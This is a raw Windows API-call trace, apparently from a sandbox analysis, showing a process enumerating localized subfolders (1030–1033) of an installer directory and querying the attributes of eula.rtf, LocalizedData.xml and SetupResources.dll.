	[0070.800] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.800] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.800] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.800] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.800] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0070.800] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0070.800] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4)) returned 1
	[0070.800] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.800] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0070.817] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.817] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2)) returned 1
	[0070.817] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.817] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.817] SetEvent (hEvent=0x188) returned 1
	[0070.817] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031" (normalized: "c:\\588bce7c90097ed212\\1031"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0070.855] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031" (normalized: "c:\\588bce7c90097ed212\\1031"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0070.855] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0070.855] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.855] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.856] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.856] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.856] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.856] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0070.856] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0070.856] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa)) returned 1
	[0070.856] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.856] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958)) returned 1
	[0070.857] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.857] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b)) returned 1
	[0070.857] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.857] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.857] SetEvent (hEvent=0x188) returned 1
	[0070.857] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032" (normalized: "c:\\588bce7c90097ed212\\1032"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0070.878] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032" (normalized: "c:\\588bce7c90097ed212\\1032"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0070.878] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0070.878] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.878] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.878] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.878] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.878] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.878] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0070.878] WriteFile (in: hFile=0x0, lpBuffer=0xc000066200, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0070.879] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c)) returned 1
	[0070.879] WriteFile (in: hFile=0x0, lpBuffer=0xc000066200, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.879] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58)) returned 1
	[0070.879] WriteFile (in: hFile=0x0, lpBuffer=0xc000066200, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.879] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac)) returned 1
	[0070.914] WriteFile (in: hFile=0x0, lpBuffer=0xc000066200, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.914] WriteFile (in: hFile=0x0, lpBuffer=0xc000066200, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.914] SetEvent (hEvent=0x17c) returned 1
	[0070.914] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033" (normalized: "c:\\588bce7c90097ed212\\1033"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0070.921] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033" (normalized: "c:\\588bce7c90097ed212\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0070.921] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0070.921] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.922] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.922] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.922] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.922] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.922] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0070.922] WriteFile (in: hFile=0x0, lpBuffer=0xc000066200, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0070.922] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0)) returned 1
	[0070.934] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.934] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358)) returned 1
	[0070.935] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
